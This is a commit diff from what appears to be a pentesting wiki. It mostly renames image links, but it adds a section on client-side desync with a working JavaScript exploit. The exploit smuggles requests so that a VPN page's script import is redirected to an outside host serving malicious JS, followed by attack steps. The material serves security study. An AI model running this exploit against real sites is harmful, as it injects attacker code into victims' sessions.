GitBook: [#3421] No subject
Before Width: | Height: | Size: 5.6 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 5.6 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 74 KiB |
BIN
.gitbook/assets/image (158) (1).png
Normal file
After Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 16 KiB |
|
@ -30,7 +30,7 @@ You can **select the architecture** inside Visual Studio in the **left "Build" T
|
||||||
|
|
||||||
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1) (2) (1).png>)
|
![](<../.gitbook/assets/image (1) (2).png>)
|
||||||
|
|
||||||
## Prepare the Backdoor
|
## Prepare the Backdoor
|
||||||
|
|
||||||
|
|
|
@ -102,7 +102,7 @@ This method is very noisy because you have to create a hole new project (obvious
|
||||||
|
|
||||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (158).png>)
|
![](<../.gitbook/assets/image (158) (1).png>)
|
||||||
|
|
||||||
Or **try to access to the path \_/configure**\_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
|
Or **try to access to the path \_/configure**\_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
|
||||||
|
|
||||||
|
|
|
@ -49,7 +49,7 @@ Secondly, the request must be **triggerable in a web-browser cross-domain**. Bro
|
||||||
|
|
||||||
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
|
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1) (2).png>)
|
![](<../../.gitbook/assets/image (1).png>)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
|
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
|
||||||
|
@ -83,7 +83,7 @@ I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection
|
||||||
|
|
||||||
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
|
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1).png>)
|
![](<../../.gitbook/assets/image (158).png>)
|
||||||
|
|
||||||
If this works as expected, congratulations - you've found yourself a client-side desync!
|
If this works as expected, congratulations - you've found yourself a client-side desync!
|
||||||
|
|
||||||
|
@ -191,6 +191,65 @@ fetch('https://www.verisign.com/%2f', {
|
||||||
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
|
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
|
||||||
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
|
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
|
||||||
|
|
||||||
|
### Host header redirect + RC
|
||||||
|
|
||||||
|
* **JS Exploit**
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
function reset() {
|
||||||
|
fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'})
|
||||||
|
.then(() => {
|
||||||
|
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||||
|
})
|
||||||
|
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||||
|
}
|
||||||
|
|
||||||
|
function poison(){
|
||||||
|
sendPoison()
|
||||||
|
sendPoison()
|
||||||
|
sendPoison()
|
||||||
|
setTimeout(reset, 1000)
|
||||||
|
}
|
||||||
|
|
||||||
|
function sendPoison(){
|
||||||
|
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||||
|
{
|
||||||
|
method: 'POST',
|
||||||
|
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||||
|
mode: 'no-cors',
|
||||||
|
credentials: 'include'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||||
|
```
|
||||||
|
|
||||||
|
In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option.
|
||||||
|
|
||||||
|
Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\
|
||||||
|
Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works.
|
||||||
|
|
||||||
|
{% hint style="warning" %}
|
||||||
|
Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Summary steps:
|
||||||
|
|
||||||
|
* Open a new window.
|
||||||
|
* Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
|
||||||
|
* Navigate the window to the target page at /meeting\_testjs.cgi.
|
||||||
|
* 120ms later, create three poisoned connections using the redirect gadget.
|
||||||
|
* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
|
||||||
|
* If not, retry the attack.
|
||||||
|
|
||||||
|
## Pause-based desync <a href="#pause" id="pause"></a>
|
||||||
|
|
||||||
|
\
|
||||||
|
|
||||||
|
|
||||||
## **References**
|
## **References**
|
||||||
|
|
||||||
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||||
|
|